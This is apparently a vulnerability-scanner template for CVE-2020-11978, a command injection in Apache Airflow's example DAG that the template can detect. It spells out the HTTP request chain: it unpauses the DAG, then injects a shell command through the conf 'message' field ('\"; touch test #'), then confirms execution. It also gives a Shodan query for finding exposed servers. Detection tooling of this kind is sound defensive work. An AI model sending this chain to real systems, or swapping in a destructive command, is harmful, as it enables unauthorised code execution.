id: CVE-2020-11978

info:
  name: Apache Airflow <= 1.10.10 - 'Example Dag' Remote Code Execution
  author: pdteam
  severity: high
  description: An issue was found in Apache Airflow versions 1.10.10 and below. A remote code/command injection vulnerability was discovered in one of the example DAGs shipped with Airflow which would allow any authenticated user to run arbitrary commands as the user running airflow worker/scheduler (depending on the executor in use). If you already have examples disabled by setting load_examples=False in the config then you are not vulnerable.
  reference:
    - https://github.com/pberba/CVE-2020-11978
    - https://nvd.nist.gov/vuln/detail/CVE-2020-11978
    - https://twitter.com/wugeej/status/1400336603604668418
    - https://lists.apache.org/thread.html/r7255cf0be3566f23a768e2a04b40fb09e52fcd1872695428ba9afe91%40%3Cusers.airflow.apache.org%3E
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 8.8
    cve-id: CVE-2020-11978
    cwe-id: CWE-77
  metadata:
    shodan-query: http.html:"Apache Airflow" || title:"Airflow - DAGs"
    verified: "true"
  tags: cve,cve2020,apache,airflow,rce,cisa

requests:
  - raw:
      - |
        GET /api/experimental/test HTTP/1.1
        Host: {{Hostname}}
        Accept: */*

      - |
        GET /api/experimental/dags/example_trigger_target_dag/paused/false HTTP/1.1
        Host: {{Hostname}}
        Accept: */*

      - |
        POST /api/experimental/dags/example_trigger_target_dag/dag_runs HTTP/1.1
        Host: {{Hostname}}
        Accept: */*
        Content-Type: application/json

        {"conf": {"message": "\"; touch test #"}}

      - |
        GET /api/experimental/dags/example_trigger_target_dag/dag_runs/{{exec_date}}/tasks/bash_task HTTP/1.1
        Host: {{Hostname}}
        Accept: */*

    extractors:
      - type: regex
        name: exec_date
        part: body
        group: 1
        internal: true
        regex:
          - '"execution_date":"([0-9-A-Z:+]+)"'

    req-condition: true
    matchers-condition: and
    matchers:
      - type: dsl
        dsl:
          - 'contains(body_4, "operator":"BashOperator")'
          - 'contains(all_headers_4, "application/json")'
        condition: and